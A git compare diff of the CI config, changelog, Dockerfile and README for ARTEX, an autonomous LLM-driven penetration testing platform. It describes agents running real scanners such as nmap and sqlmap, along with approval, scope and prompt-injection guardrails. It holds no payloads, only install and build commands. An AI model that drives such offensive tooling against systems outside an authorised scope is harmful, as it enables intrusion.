Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8f5a67d10c | ||
|
|
d8f3c7aec2 | ||
|
|
c43c69bdd0 | ||
|
|
a866f3752f | ||
|
|
481dd1c3f2 | ||
|
|
30c787d690 | ||
|
|
430950570c | ||
|
|
f8bc149872 | ||
|
|
f3a8e82d29 | ||
|
|
e300f85987 | ||
|
|
dfa0e8a566 | ||
|
|
9b20a46eba | ||
|
|
622b7490e0 | ||
|
|
b6e863c746 | ||
|
|
33078a7d35 |
@@ -45,8 +45,9 @@ jobs:
|
||||
# keeps the database state deterministic.
|
||||
run: go test -p 1 ./...
|
||||
- name: go test -race
|
||||
# Race detector on the packages that pass under -race today. ./server is
|
||||
# left out until it has been checked with -race against postgres.
|
||||
# Race detector on the packages that pass under -race today. ./server
|
||||
# joined once its suite was checked with -race against postgres and its
|
||||
# test teardown fixed (#227, #228).
|
||||
# Its own database: the plain run above leaves rows behind and the db tests
|
||||
# are not idempotent across runs (duplicate llm_profiles names).
|
||||
env:
|
||||
@@ -54,7 +55,8 @@ jobs:
|
||||
|
||||
run: >-
|
||||
go test -race -p 1 ./agent ./cmd/artex ./config ./db ./evidence ./guard
|
||||
./intercept ./llmpool ./llmrec ./mcphttp ./notify ./sidequestion ./traffic
|
||||
./intercept ./llmpool ./llmrec ./mcphttp ./notify ./server ./sidequestion
|
||||
./traffic
|
||||
|
||||
shell:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
@@ -2,6 +2,12 @@
|
||||
|
||||
All notable changes to this project are documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/).
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Changed
|
||||
|
||||
- **Untrusted-output boundary is now on by default**: Norma frames tool results for the worker, planner, chat and main agent unless `ARTEX_UNTRUSTED_BOUNDARY` is set to `0`, `false`, `off` or `no`. It was opt-in via `ARTEX_UNTRUSTED_BOUNDARY=1` in 0.6.0 (#166).
|
||||
|
||||
## [0.6.0] - 2026-11-12
|
||||
|
||||
Machine-checked finding verification (S1), intercept decisions traced to their actor, configurable notification limits, prompt hardening and goal guards from the #124 agentic audit, the target gate (S3b phase 1 and step 2.1, off by default and API-only), intent claim leases, and checksum-verified tool downloads in the Docker image.
|
||||
|
||||
@@ -178,7 +178,7 @@ COPY --from=build /out/artex /app/artex
|
||||
COPY start.sh /app/start.sh
|
||||
RUN chmod +x /app/artex /app/start.sh && mkdir -p /app/keys
|
||||
COPY skills/ /app/skills/
|
||||
# persistence points: data/ (SQLite, task files) and keys/ (jwt.key, via ARTEX_JWT_KEY_DIR)
|
||||
# persistence points: data/ (traffic index, task files, transcripts) and keys/ (jwt.key, secret.key, via ARTEX_JWT_KEY_DIR)
|
||||
VOLUME ["/app/data", "/app/keys"]
|
||||
EXPOSE 8787 8788
|
||||
ENTRYPOINT ["/app/start.sh"]
|
||||
|
||||
@@ -1,88 +1,279 @@
|
||||
<div align="center">
|
||||
|
||||
<img src="web/public/logo.svg" width="84" alt="ARTEX logo" />
|
||||
|
||||
# ARTEX
|
||||
|
||||
AI autonomous penetration testing system (Go backend + Next.js frontend)
|
||||
**Autonomous penetration testing that keeps its receipts.**
|
||||
|
||||
Self-hosted multi-agent offensive security. A planner explores, workers run real tools,
|
||||
and every finding stays bound to the assets and HTTP traffic that prove it.
|
||||
|
||||
Fork of [ARTEX by Autumn-27](https://github.com/Autumn-27) · English translation of the Chinese source · maintained publicly under AGPL-3.0
|
||||
[](https://github.com/BaaRai/ARTEX/releases)
|
||||
[](LICENSE)
|
||||
[](https://github.com/BaaRai/ARTEX/actions/workflows/ci.yml)
|
||||
[](go.mod)
|
||||
|
||||
[Quick start](#quick-start) · [Screenshots](#screenshots) · [How it works](#how-it-works) · [Install](#installation) · [Configuration](#configuration) · [Security](SECURITY.md)
|
||||
|
||||
</div>
|
||||
|
||||
<a href="https://trendshift.io/repositories/316805?utm_source=trendshift-badge&utm_medium=badge&utm_campaign=badge-trendshift-316805" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/316805/daily?language=Go" alt="BaaRai%2FARTEX | Trendshift" width="250" height="55"/></a>
|
||||
---
|
||||
|
||||
ARTEX is a self-hosted, LLM-driven penetration testing platform. It is not a chat wrapper around
|
||||
a scanner: a planner splits a goal into intents, workers execute them with real tools, and the
|
||||
results are written back into **two linked graphs**: one for what you know about the target, one
|
||||
for how the test is progressing. Every finding can carry the captured request and response that
|
||||
justify it, and every autonomous action passes through scope rules, approval gates and budgets.
|
||||
|
||||
- **It explores, it doesn't chat.** Goal decomposition, intent dispatch, worker execution and
|
||||
write-back form a closed loop that keeps advancing until the goal is proven.
|
||||
- **Two graphs, one audit trail.** The shared asset graph says *what exists*; the per-task
|
||||
exploration graph says *what was tried, what it produced, and why*. Anchors link the two.
|
||||
- **Findings with evidence.** A recording MITM proxy and a browser extension capture real traffic;
|
||||
findings, evidence quotes and retests are tied to the exact request/response.
|
||||
- **Autonomy with brakes.** Human-in-the-loop approvals, argv-prefix rules, scope/deny gates,
|
||||
token and turn budgets, a target noise governor, and prompt-injection framing on tool output.
|
||||
- **Self-hosted and model-agnostic.** One Go binary with the Next.js UI embedded, PostgreSQL,
|
||||
your own Anthropic/OpenAI-compatible endpoint, or a local Ollama.
|
||||
|
||||
---
|
||||
|
||||
## Quick start
|
||||
|
||||
```bash
|
||||
git clone https://github.com/BaaRai/ARTEX.git
|
||||
cd ARTEX
|
||||
cp .env.example .env # set POSTGRES_PASSWORD (and optionally an LLM key)
|
||||
docker compose up -d --build # builds from this checkout, starts PostgreSQL
|
||||
```
|
||||
|
||||
Open **http://localhost:8787**. On the first visit `/setup` asks for the one-time setup token
|
||||
printed at startup:
|
||||
|
||||
```bash
|
||||
docker compose logs artex | grep "Setup token"
|
||||
```
|
||||
|
||||
> There is no prebuilt Docker image to pull: the image is always built from your checkout.
|
||||
> For all installation paths (script, binaries, source, release archives), see [Installation](#installation).
|
||||
|
||||
---
|
||||
|
||||
## Screenshots
|
||||
|
||||
|
||||
| Dashboard (overview / token usage / activity stream) | Task list |
|
||||
| Tasks | Findings |
|
||||
| :---: | :---: |
|
||||
|  |  |
|
||||
|  |  |
|
||||
|
||||
| Task · execution (sessions / tool calls) | Exploration graph |
|
||||
| Task execution: sessions and tool calls | Exploration graph |
|
||||
| :---: | :---: |
|
||||
|  |  |
|
||||
|
||||
| Findings | Assets |
|
||||
| Asset coverage graph | Traffic recording |
|
||||
| :---: | :---: |
|
||||
|  |  |
|
||||
|  |  |
|
||||
|
||||
| Asset coverage graph (force-directed layout · tested highlights · node collapse/expand) |
|
||||
| :---: |
|
||||
|  |
|
||||
|
||||
| Traffic recording | Human-in-the-loop chat |
|
||||
| Human-in-the-loop chat | Interception approvals |
|
||||
| :---: | :---: |
|
||||
|  |  |
|
||||
|  |  |
|
||||
|
||||
| Agent management | LLM configuration |
|
||||
<details>
|
||||
<summary>More screenshots (assets, agents, LLM, logs)</summary>
|
||||
|
||||
| Assets | Agent management |
|
||||
| :---: | :---: |
|
||||
|  |  |
|
||||
|  |  |
|
||||
|
||||
| Interception approvals | Backend logs |
|
||||
| LLM configuration | Backend logs |
|
||||
| :---: | :---: |
|
||||
|  |  |
|
||||
|  |  |
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
## Approval record details
|
||||
## How it works
|
||||
|
||||
The global "Approval Records", the in-task "Interception Approvals", and the approval cards in conversations all support expanding to view details. The display structure references the
|
||||
[AegisHook approval details component](https://github.com/RuoJi6/AegisHook/blob/main/web/src/components/CallDetail.vue), reusing ARTEX's components and theme:
|
||||
### Dual-graph architecture: exploration graph + asset graph
|
||||
|
||||
## Argv prefix rules
|
||||
ARTEX separates *what the goals are* from *how far testing has progressed* into two independent
|
||||
graphs linked by anchors:
|
||||
|
||||
Besides `string` and `regex`, an interception rule can use `match_type: argv` (Bash only, `match_target: tool_input`). Its pattern is a JSON array of 1 to 8 tokens, for example `["git","push"]`, with no empty token, no token starting with `-` and no shell metacharacter or space.
|
||||
- **Asset graph (shared across tasks).** One source of truth for `root_domain / subdomain / ip /
|
||||
service / app / endpoint`, owned by companies. Parent-child relationships and deduplication keys
|
||||
are computed by the program; agents only submit raw observations.
|
||||
- **Exploration graph (per task).** The task's reasoning and progress: `goal / intent / fact /
|
||||
finding / hint` nodes connected by `spawns / derived_from / yields / proves` edges into a lineage
|
||||
chain.
|
||||
- **Anchors link them.** `exploration_anchors(node_id, asset_id)` ties intents, facts and findings
|
||||
to concrete assets: which assets a direction touched, and which intents tested a given asset.
|
||||
This also powers **asset test coverage** and the coverage graph.
|
||||
|
||||
- **It is a prefix rule.** The command is parsed (mvdan.cc/sh, Bash grammar, as the Bash tool runs `bash -c`) and must be one simple command: no pipe, list (`;`, `&&`, `||`), redirection, prefix assignment, subshell, background job, no wrapper program (`command`, `builtin`, `env`, `exec`, `eval`), and no command or process substitution or parameter expansion anywhere. Its prefix (program plus subcommands, from a code-owned arity table: `git push`, `npm run build`, `nmap`) must equal the pattern exactly. Any other form does not match, and the normal flow (judge, approval) continues.
|
||||
- **Flags are ignored by construction.** `["git","push"]` also covers `git push --force`; a flag before the subcommand (`git -C /repo push`) matches nothing. An allowed prefix does not cover what the program does internally.
|
||||
- An argv rule takes its place in the priority order like any rule, and the target gate still runs after an argv allow.
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph EG["Exploration graph (per-task · advance chain)"]
|
||||
direction TB
|
||||
G["goal"]
|
||||
I1["intent A"]
|
||||
F1["fact"]
|
||||
I2["intent B"]
|
||||
FD["finding (vulnerability)"]
|
||||
G -->|spawns| I1
|
||||
I1 -->|yields| F1
|
||||
F1 -->|derived_from| I2
|
||||
I2 -->|proves| FD
|
||||
end
|
||||
subgraph AG["Asset graph (globally shared · source of truth)"]
|
||||
direction TB
|
||||
RD["root_domain"]
|
||||
SD["subdomain"]
|
||||
SV["service"]
|
||||
EP["endpoint"]
|
||||
RD --> SD --> SV --> EP
|
||||
end
|
||||
I1 -. anchor .-> SD
|
||||
F1 -. anchor .-> SV
|
||||
I2 -. anchor .-> EP
|
||||
FD -. anchor .-> EP
|
||||
```
|
||||
|
||||
The **planner** reads the exploration graph, judges goals, and dispatches intents only when there
|
||||
is an uncovered direction; a **worker** claims one intent, executes it, writes assets/facts/findings
|
||||
back into both graphs, then stops.
|
||||
|
||||
## Traffic capture browser extension
|
||||
### The engine loop
|
||||
|
||||
The bundled browser extension (`extension/`) turns your own browsing into agent-visible evidence: log into an authenticated target once (captchas, email OTP and 2FA included), and the captured requests/responses land in ARTEX's traffic store like proxy-recorded traffic, ready to search and bind to findings:
|
||||
The engine is event-driven: any graph change wakes the planner, workers claim and execute intents,
|
||||
write-back triggers the next round, until `prove_goal` closes the task.
|
||||
|
||||
- Load the unpacked extension from `extension/` (Chrome/Edge, Developer Mode → Load unpacked);
|
||||
- In the popup, set your ARTEX URL and token, then press **Start capture** on the tab you are browsing;
|
||||
- Use the site normally; text requests/responses are batched to `POST /api/traffic/ingest` (authenticated). Binary bodies (images, fonts) are skipped, bodies are truncated at 256 KiB, batches are capped at 50 entries;
|
||||
- Press **Stop** when done. Everything stays in your local traffic store.
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
participant EV as graph-change debounce
|
||||
participant P as planner
|
||||
participant FR as frontier intent queue
|
||||
participant W as worker
|
||||
participant PX as recording proxy
|
||||
participant DB as dual graphs + activity
|
||||
|
||||
## Asset sync (ScopeSentry)
|
||||
EV-->>P: wake up
|
||||
P->>DB: read situation (graph_overview prefetch + coverage/scope)
|
||||
P->>FR: dispatch 0..N intents (with asset_ids)
|
||||
Note over P,FR: most wake-ups dispatch 0 (no new direction means done)
|
||||
W->>FR: claimNext claims one intent
|
||||
W->>DB: fetch the raw assets of the intent's asset_ids
|
||||
W->>PX: real tool execution (Kali / Bash / HTTP)
|
||||
PX-->>W: response (fully traced + CA verified)
|
||||
W->>DB: write back fact / asset / finding + per-step activity
|
||||
DB-->>EV: graph change
|
||||
EV-->>P: wake again (closed loop)
|
||||
```
|
||||
|
||||
Sync asset data directly from [ScopeSentry](https://github.com/Autumn-27/ScopeSentry), avoiding duplicate collection:
|
||||
### Durable attack chains, shared worker memory
|
||||
|
||||
- On the "**Asset Sync**" page, enter the ScopeSentry address and API Key to connect the data source;
|
||||
- Choose the targets and asset types to sync by **project** or **task** (domains / subdomains / IPs / ports / sites / endpoints…);
|
||||
- One-click import, merged by company asset scope, straight into ARTEX's asset graph for agents to explore.
|
||||
Real attack chains are multi-step and ordered (find an injection → get credentials → move
|
||||
laterally). The planner keeps a **todolist retained per task across wake-ups**: it records the
|
||||
chain once, then dispatches the next step only when its prerequisites are satisfied by facts.
|
||||
|
||||
Workers can also **search each other's execution traces** (`search_all_worker_traces`,
|
||||
`list_worker_traces`, `get_worker_trace`). Observations that never became formal facts (an error
|
||||
message, a response snippet, a hidden parameter) are still reusable by the next worker, while each
|
||||
worker remains confined to the intent it claimed.
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
### Evidence, not chat logs
|
||||
|
||||
- **Recording MITM proxy** (`:8788`) with a generated CA: every Bash/HTTP tool call is traced, and
|
||||
request/response evidence can be bound to a finding.
|
||||
- **Browser extension** (`extension/`) for authenticated targets: log in once (captcha, email OTP,
|
||||
2FA included), capture the session, and the requests/responses land in the same traffic store.
|
||||
|
||||
<details>
|
||||
<summary>Using the traffic capture extension</summary>
|
||||
|
||||
- Load the unpacked extension from `extension/` (Chrome/Edge: Developer Mode → Load unpacked);
|
||||
- In the popup, set your ARTEX URL and token, then press **Start capture** on the tab you are
|
||||
browsing;
|
||||
- Use the site normally; text requests/responses are batched to `POST /api/traffic/ingest`
|
||||
(authenticated). Binary bodies (images, fonts) are skipped, bodies are truncated at 256 KiB,
|
||||
batches are capped at 50 entries;
|
||||
- Press **Stop** when done. Everything stays in your local traffic store.
|
||||
|
||||
</details>
|
||||
- **Verified findings**: findings carry a POE level, a verification status and a note; a finding is
|
||||
`verified` only when a bound proof/response and verbatim evidence quotes support it. Gzip/deflate
|
||||
bodies are decoded before the quote check.
|
||||
- **Vulnerability retest loop**: a dedicated `retester` agent re-runs a finding with optional fixed
|
||||
version/conditions, records `Still reproducible / Fixed / Cannot confirm`, and can move the
|
||||
finding to `Fixed` automatically. Original evidence and reports are preserved.
|
||||
- **Reports and exports**: findings, evidence and task archives, with traffic snapshots kept
|
||||
encrypted at rest.
|
||||
|
||||
### Control without slowing down
|
||||
|
||||
- **Interception gate**: every tool call can require human approval, with rules by `string`,
|
||||
`regex` or **argv prefix**. An argv rule is a JSON array of 1 to 8 tokens (Bash only, for
|
||||
example `["git","push"]`); it matches only a single simple command whose parsed prefix equals
|
||||
the pattern exactly. Pipes, lists, redirections, prefix assignments, subshells, background jobs,
|
||||
wrapper programs and command/parameter substitutions do not match; flags are ignored by
|
||||
construction (`["git","push"]` covers `git push --force`, but `git -C /repo push` matches
|
||||
nothing). Each approval records who decided: `human`, `rule`, `model` or `system`.
|
||||
- **Scope and target gate**: scope rows define the coverage denominator; assets outside the
|
||||
declared scope are not explored. The target gate (off by default, API-only) can refuse
|
||||
destinations that were not approved.
|
||||
- **Budgets**: `ARTEX_TASK_BUDGET_TOKENS` / `ARTEX_TASK_BUDGET_TURNS` cap a whole task (planner and
|
||||
workers); `ARTEX_INTENT_BUDGET_TOKENS` / `ARTEX_INTENT_BUDGET_TURNS` cap one worker run. Near the
|
||||
limit the task enters a forced wrap-up; a worker is not started when the remaining budget cannot
|
||||
cover it. Budgets are in memory: a restart starts fresh.
|
||||
- **Noise governor**: `ARTEX_NOISE_PROFILE=quiet|balanced|aggressive` paces requests ARTEX sends to
|
||||
targets (per-host rate, burst, in-flight limit, jitter, backoff on 429/503, short GET caching).
|
||||
With a profile set, agents also receive low-and-slow flags for the installed scanners.
|
||||
- **Untrusted-output boundary (on by default)**: tool results are framed between nonce-tagged
|
||||
markers so the model treats them as data, not instructions. Disable with
|
||||
`ARTEX_UNTRUSTED_BOUNDARY=0`.
|
||||
|
||||
### Assets and coverage
|
||||
|
||||
- **Coverage ledger and force-directed coverage graph**: in-scope assets are highlighted as tested
|
||||
or untested, with linked intents, facts and findings per node.
|
||||
- **Company-scoped asset graph**: shared across tasks, deduplicated by the program, with
|
||||
domain → subdomain → service → endpoint containment.
|
||||
- **ScopeSentry sync**: pull asset data from a
|
||||
[ScopeSentry](https://github.com/Autumn-27/ScopeSentry) instance by project or task, merged by
|
||||
company scope into the asset graph for agents to explore.
|
||||
|
||||
<details>
|
||||
<summary>Syncing from ScopeSentry</summary>
|
||||
|
||||
- On the **Asset Sync** page, enter the ScopeSentry address and API key;
|
||||
- Choose the targets and asset types by **project** or **task** (domains / subdomains / IPs /
|
||||
ports / sites / endpoints…);
|
||||
- Import: rows are merged by company asset scope and become part of the asset graph.
|
||||
|
||||
</details>
|
||||
- **Task categories, templates, relations and archives** for repeatable engagements.
|
||||
|
||||
### Platform
|
||||
|
||||
- **LLM profiles with failover**: Anthropic, OpenAI, OpenAI-compatible relays and keyless Ollama;
|
||||
multiple profiles per task with automatic failover.
|
||||
- **Token accounting**: per-task and per-session usage, cache reads/writes, and an LLM record view
|
||||
for every call.
|
||||
- **MCP servers, skills, memory and a workspace**: extend the agent with remote tools and reusable
|
||||
prompt/playbook material.
|
||||
- **Single binary**: the Next.js UI is embedded with `go:embed`; PostgreSQL is the only external
|
||||
dependency.
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
> Requires a **PostgreSQL** database; exploration requires an **LLM** (`ANTHROPIC_API_KEY` or `OPENAI_API_KEY`, which can also be configured in the UI).
|
||||
> Requires **PostgreSQL**; exploration requires an **LLM** (`ANTHROPIC_API_KEY` or
|
||||
> `OPENAI_API_KEY`, also configurable in the UI).
|
||||
|
||||
### Option 1: one-click install script (recommended)
|
||||
|
||||
@@ -92,184 +283,92 @@ cd ARTEX
|
||||
./install.sh
|
||||
```
|
||||
|
||||
The script will: detect / auto-install Docker → then let you choose **① all-Docker** or **② local build and run**:
|
||||
The script detects or installs Docker, then offers **① all-Docker** (writes `.env`, runs
|
||||
`docker compose up -d --build`) or **② local build and run** (generates `config.json`, builds the
|
||||
embedded binary, starts it).
|
||||
|
||||
- **① All-Docker**: enter a Postgres password (press Enter for a random one) → auto-writes `.env` → `docker compose up -d --build` (the image is built from this checkout).
|
||||
- **② Local run**: choose a database (connect to an existing one / start one with Docker) → generates `config.json` → `go` builds the embedded single binary → starts.
|
||||
Open **http://localhost:8787**; `/setup` asks for the one-time setup token printed at startup
|
||||
(`docker compose logs artex | grep "Setup token"`).
|
||||
|
||||
Once installed, open **http://localhost:8787** (on first entry, `/setup` sets the admin password).
|
||||
`/setup` asks for a one-time setup token: while no password is set, the backend prints it at startup in its log (`docker compose logs artex | grep "Setup token"`, or the terminal running `./start.sh`).
|
||||
|
||||
The web UI is published on `127.0.0.1` by default. To reach it from another machine, or from Windows when ARTEX runs inside WSL, set `ARTEX_BIND_ADDR=0.0.0.0` in `.env` (the setup token still protects the first-run claim), or keep loopback and use a reverse proxy or an SSH tunnel.
|
||||
The UI listens on `127.0.0.1` by default. To reach it from another machine (or from Windows when
|
||||
ARTEX runs inside WSL), set `ARTEX_BIND_ADDR=0.0.0.0` in `.env` (the setup token still protects the
|
||||
first-run claim), or keep loopback and use a reverse proxy or SSH tunnel.
|
||||
|
||||
### Option 2: Docker Compose (manual)
|
||||
|
||||
```bash
|
||||
git clone https://github.com/BaaRai/ARTEX.git
|
||||
cd ARTEX
|
||||
cp .env.example .env # set POSTGRES_PASSWORD, optionally ANTHROPIC_API_KEY
|
||||
docker compose up -d --build # builds artex from this checkout + starts postgres
|
||||
cp .env.example .env # set POSTGRES_PASSWORD, optionally ANTHROPIC_API_KEY
|
||||
docker compose up -d --build
|
||||
# → http://localhost:8787
|
||||
```
|
||||
|
||||
> The image is built locally. There is no published image to pull: the previous
|
||||
> default pointed at a third-party namespace that no longer hosts this project.
|
||||
The image includes a scanner toolchain (`nmap`, `nuclei`, `httpx`, `katana`, `ffuf`, `dalfox`,
|
||||
`sqlmap`, `ripgrep`, `curl`, `npm`, …); `./skills` and `./data` are persisted via bind mounts.
|
||||
|
||||
The image already includes common tools (ripgrep/curl/vim/npm/nmap…); `./skills` and `./data` are persisted via bind mounts.
|
||||
For remote MCP you can choose `http` (Streamable HTTP) or `sse` (legacy SSE) in system settings.
|
||||
Legacy SSE servers usually establish the event stream with `GET /sse` and receive JSON-RPC over
|
||||
`/message?sessionId=...`; configure the URL as `/sse` and send `Authorization: Bearer <token>`.
|
||||
|
||||
For remote MCP, you can choose `http` (Streamable HTTP) or `sse` (legacy SSE) in system settings.
|
||||
Legacy SSE servers usually establish the event stream with `GET /sse`, then receive JSON-RPC requests via the
|
||||
`/message?sessionId=...` returned by the server; when configuring, set the URL to `/sse` and the request header as
|
||||
`Authorization=Bearer <token>`.
|
||||
### Option 3: prebuilt binaries (Releases)
|
||||
|
||||
### Option 3: download prebuilt binaries (Releases)
|
||||
|
||||
Download the zip for your platform from [Releases](https://github.com/BaaRai/ARTEX/releases); after extracting you get `artex` + `start.sh` (`start.bat` on Windows) + `skills/` + `config.example.json`:
|
||||
Download the zip for your platform from [Releases](https://github.com/BaaRai/ARTEX/releases). It
|
||||
contains `artex`, `start.sh` (`start.bat` on Windows), `skills/` and `config.example.json`:
|
||||
|
||||
```bash
|
||||
cp config.example.json config.json # fill in the database connection
|
||||
./start.sh # → http://localhost:8787
|
||||
```
|
||||
|
||||
> Please start with `start.sh` / `start.bat` instead of running `./artex` directly. It is a daemon script: if the process crashes, it restarts it after a backoff.
|
||||
> To keep it running in the background: `nohup ./start.sh >artex.log 2>&1 &`.
|
||||
Start with `start.sh` / `start.bat`, not `./artex`: it is a daemon script that restarts the process
|
||||
after a backoff. To keep it in the background: `nohup ./start.sh >artex.log 2>&1 &`.
|
||||
|
||||
#### Verifying a release
|
||||
|
||||
Each release attaches `SHA256SUMS` and a CycloneDX SBOM, `artex-<tag>.cdx.json` (Go modules embedded in the linux/amd64 binary, the frontend `package-lock.json`, and `go.mod`/`go.sum`), next to the zips. The zips also carry a GitHub build provenance attestation. Releases published before this was added have neither the SBOM nor the attestation.
|
||||
Each release attaches `SHA256SUMS` and a CycloneDX SBOM, `artex-<tag>.cdx.json` (Go modules in the
|
||||
linux/amd64 binary, the frontend `package-lock.json`, `go.mod`/`go.sum`), next to the zips. The zips
|
||||
also carry a GitHub build provenance attestation. Releases published before this was added have
|
||||
neither.
|
||||
|
||||
```bash
|
||||
sha256sum -c SHA256SUMS # add --ignore-missing if you downloaded only some zips
|
||||
gh attestation verify <zip> --repo BaaRai/ARTEX # provenance: built by this repository's release workflow
|
||||
gh attestation verify <zip> --repo BaaRai/ARTEX # built by this repository's release workflow
|
||||
```
|
||||
|
||||
### Option 4: build the single binary from source
|
||||
|
||||
```bash
|
||||
# 1) frontend static export
|
||||
cd web && npm ci && npm run build:static && cd ..
|
||||
# 2) copy into the embed directory
|
||||
cp -r web/out server/webui/dist
|
||||
# 3) build (only -tags embedui embeds the frontend)
|
||||
CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
|
||||
./start.sh
|
||||
```
|
||||
|
||||
### Option 5: build cross-platform release archives
|
||||
Only `-tags embedui` embeds the frontend into the binary.
|
||||
|
||||
`build.sh` first builds and embeds the frontend, then strips debug info via the Go linker, and compresses the release files into zips. Release mode generates zips for Linux amd64/arm64, macOS amd64/arm64, and Windows amd64 by default:
|
||||
### Option 5: cross-platform release archives
|
||||
|
||||
`build.sh` builds and embeds the frontend, strips debug info, and writes zips for Linux
|
||||
amd64/arm64, macOS amd64/arm64 and Windows amd64 by default:
|
||||
|
||||
```bash
|
||||
./build.sh --release
|
||||
# output: dist/artex-0.3.3-*.zip
|
||||
```
|
||||
# output: dist/artex-<version>-*.zip
|
||||
|
||||
UPX self-extracting binaries may be incompatible with some Linux kernels, virtualization environments, or security policies, so they are disabled by default. Use `ARTEX_TARGETS` to customize the targets; when you have confirmed the target runtime is compatible, explicitly pass `--upx` to further shrink the binary:
|
||||
|
||||
```bash
|
||||
ARTEX_TARGETS=linux/amd64,windows/amd64 ./build.sh --release
|
||||
./build.sh --target linux/amd64 --upx
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Backups
|
||||
|
||||
`scripts/backup.sh` dumps the Postgres database (and optionally the data
|
||||
directory) with timestamped output and rotation:
|
||||
|
||||
```bash
|
||||
scripts/backup.sh --with-data # db dump + data/ archive, keep 14
|
||||
scripts/backup.sh --keep 7 # db only, keep 7
|
||||
```
|
||||
|
||||
Restore a dump into a running stack:
|
||||
|
||||
```bash
|
||||
gunzip -c backups/artex-db-<timestamp>.sql.gz | docker compose exec -T postgres \
|
||||
psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
|
||||
```
|
||||
|
||||
Stored secrets (LLM API keys and proxies, MCP env, task credentials,
|
||||
notification channel config, the Brave and Tavily search keys, the web search
|
||||
and global proxies, the execution spec of custom tools) are encrypted in the database with the key in `keys/secret.key`
|
||||
(generated at first start, mode 0600, next to `jwt.key`). **A database backup
|
||||
without that key can no longer restore those secrets**: back up `keys/` with the
|
||||
dump, separately. Deployments without a persistent disk set `ARTEX_SECRET_KEY`
|
||||
(32 bytes, base64 or hex, e.g. `openssl rand -base64 32`) instead. ARTEX refuses
|
||||
to start when the database holds encrypted secrets and no key is available.
|
||||
|
||||
Daily cron example (03:20, operator crontab):
|
||||
|
||||
```
|
||||
20 3 * * * cd /path/to/ARTEX && scripts/backup.sh --with-data >> backups/backup.log 2>&1
|
||||
```
|
||||
|
||||
## Updating and upgrading
|
||||
|
||||
> Upgrading only swaps the program and never touches data: the Postgres volume `pgdata`, `./data` (SQLite, task files, etc.), `./keys` (jwt.key), and `./skills` are all preserved. **No manual database migration is needed**: `artex` idempotently re-runs `schema.sql` on every start (with `ADD COLUMN` / `CREATE INDEX IF NOT EXISTS`), i.e. "restart equals migrate". It is still recommended to back up `./data` and the database before upgrading.
|
||||
|
||||
**Update banner (opt-in, off by default)**: start ARTEX with `ARTEX_UPDATE_CHECK=1` to have the backend ask the public GitHub releases API for the latest ARTEX tag, at most once per 24 hours (cached in memory; a failed check is not retried within that window). When the release is newer than the running version, the web UI shows a small dismissible strip linking to the Releases page. The request sends only the `User-Agent: artex-update-check` header. Unset, ARTEX makes no update request and shows no banner.
|
||||
|
||||
### Upgrading from a clone made before 2026-10-23
|
||||
|
||||
The repository history was rewritten that day to drop a personal email address from the commit metadata. A clone made before then cannot fast-forward, and `./update.sh` now stops instead of silently rebuilding stale code. Recover once, then upgrade normally:
|
||||
|
||||
```bash
|
||||
git stash # only if you have local changes
|
||||
git fetch origin
|
||||
git reset --hard origin/main
|
||||
git stash pop # only if you stashed
|
||||
```
|
||||
|
||||
Your data is not affected: `./data`, the `pgdata` volume and `./skills` are not part of the git history.
|
||||
|
||||
### Option 1: one-click update script
|
||||
|
||||
```bash
|
||||
cd ARTEX
|
||||
./update.sh
|
||||
```
|
||||
|
||||
The script first optionally `git pull`s the latest code, then lets you choose **① Docker update** or **② local build update** (matching `install.sh`):
|
||||
|
||||
- **① Docker**: rebuilds the image from this checkout → `docker compose build artex` → `docker compose up -d artex` (restarting migrates the schema automatically).
|
||||
- **② Local**: rebuild the frontend static assets → recompile `./artex` (restart the process for it to take effect).
|
||||
|
||||
### Option 2: Docker Compose (manual)
|
||||
|
||||
```bash
|
||||
cd ARTEX
|
||||
git pull # update compose / scripts
|
||||
docker compose build artex # rebuild the image from this checkout
|
||||
docker compose up -d artex # recreate the container → schema migrates automatically
|
||||
docker image prune -f # clean up old images (optional)
|
||||
```
|
||||
|
||||
### Option 3: prebuilt binaries (Releases)
|
||||
|
||||
Download the new version's zip from [Releases](https://github.com/BaaRai/ARTEX/releases), stop the old process, then overwrite `artex` and `skills/` (keep your `config.json` and `data/`), and restart:
|
||||
|
||||
```bash
|
||||
cp -r <extracted dir>/skills ./ && cp <extracted dir>/artex ./
|
||||
./start.sh
|
||||
```
|
||||
|
||||
### Option 4: build from source
|
||||
|
||||
```bash
|
||||
git pull
|
||||
cd web && npm ci && npm run build:static && cd ..
|
||||
cp -r web/out server/webui/dist
|
||||
CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
|
||||
# restart ./start.sh
|
||||
```
|
||||
UPX is disabled by default: self-extracting binaries may be incompatible with some kernels,
|
||||
virtualization environments or security policies. Pass `--upx` only after confirming the target
|
||||
runtime supports it.
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
**Database** (`config.json`, or override with the `ARTEX_PG_DSN` environment variable):
|
||||
**Database** (`config.json`, or the `ARTEX_PG_DSN` environment variable):
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -281,28 +380,60 @@ CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
|
||||
}
|
||||
```
|
||||
|
||||
**LLM**: `export ANTHROPIC_API_KEY=sk-...` (or `OPENAI_API_KEY`); you can also fill it in on the UI's "LLM Configuration" page — which can add a local Ollama server as a keyless provider (format "Ollama", base URL default `http://127.0.0.1:11434/v1`, models loaded from the server).
|
||||
Optional: `ARTEX_LLM_PROVIDER` (anthropic | openai | openai-responses | ollama) / `ARTEX_LLM_MODEL` / `ARTEX_LLM_BASE_URL` / `ARTEX_LLM_PROXY`.
|
||||
**LLM**: `export ANTHROPIC_API_KEY=sk-...` (or `OPENAI_API_KEY`), or configure it in the UI's
|
||||
"LLM Configuration" page, which can also add a local Ollama server as a keyless provider (format
|
||||
"Ollama", default base URL `http://127.0.0.1:11434/v1`). Optional:
|
||||
